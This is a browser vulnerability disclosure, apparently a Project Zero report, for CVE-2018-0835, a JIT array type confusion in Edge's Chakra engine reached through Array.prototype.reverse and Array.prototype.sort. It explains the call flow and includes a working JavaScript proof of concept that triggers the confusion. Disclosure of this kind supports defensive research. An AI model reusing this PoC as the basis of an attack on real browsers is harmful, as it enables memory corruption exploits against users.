`Microsoft Edge: Chakra: JIT: Array type confusion via Array.prototype.reverse   
  
CVE-2018-0835  
  
  
This is simillar to the previous issue 1457. But this time, we use Array.prototype.reverse.  
  
Array.prototype.reverse can be inlineed and may invoke EnsureNonNativeArray to convert the prototype of "this" to a Var array.  
Call flow: JavascriptArray::EntryReverse -> FillFromPrototypes -> ForEachOwnMissingArrayIndexOfObject -> EnsureNonNativeArray  
  
To make that happen, the prototype must be a native array. But this usually can't be fulfilled, since once it's set as a prototype, it gets converted to a Var array. To bypass this, we can use Array.prototype.sort.  
  
Here's a snippet of JavascriptArray::EntrySort.  
arr = JavascriptNativeFloatArray::ConvertToVarArray((JavascriptNativeFloatArray*)arr);  
JS_REENTRANT(jsReentLock, arr->Sort(compFn));  
arr = arr->ConvertToNativeArrayInPlace<JavascriptNativeFloatArray, double>(arr);  
  
If "this" is a native array, the "sort" method first converts it to a Var array, sorts it, and then converts it back to the original type. So by setting it as a prototype in the compare function, we can make an object that its prototype is a native array.  
  
PoC:  
function opt(arr, arr2) {  
arr2[0];  
  
arr[0] = 1.1;  
arr2.reverse();  
arr[0] = 2.3023e-320;  
}  
  
function main() {  
let arr = [1.1, 2.2, 3.3];  
arr.__proto__ = null; // avoid inline caching   
delete arr[1]; // avoid doArrayMissingValueCheckHoist  
  
let arr2 = [, {}];  
arr2.__proto__ = {};  
arr2.reverse = Array.prototype.reverse;  
  
for (let i = 0; i < 10000; i++) {  
opt(arr, arr2);  
}  
  
Array.prototype.sort.call(arr, () => {  
arr2.__proto__.__proto__ = arr;  
});  
  
opt(arr, arr2);  
print(arr[0]);  
}  
  
main();  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.
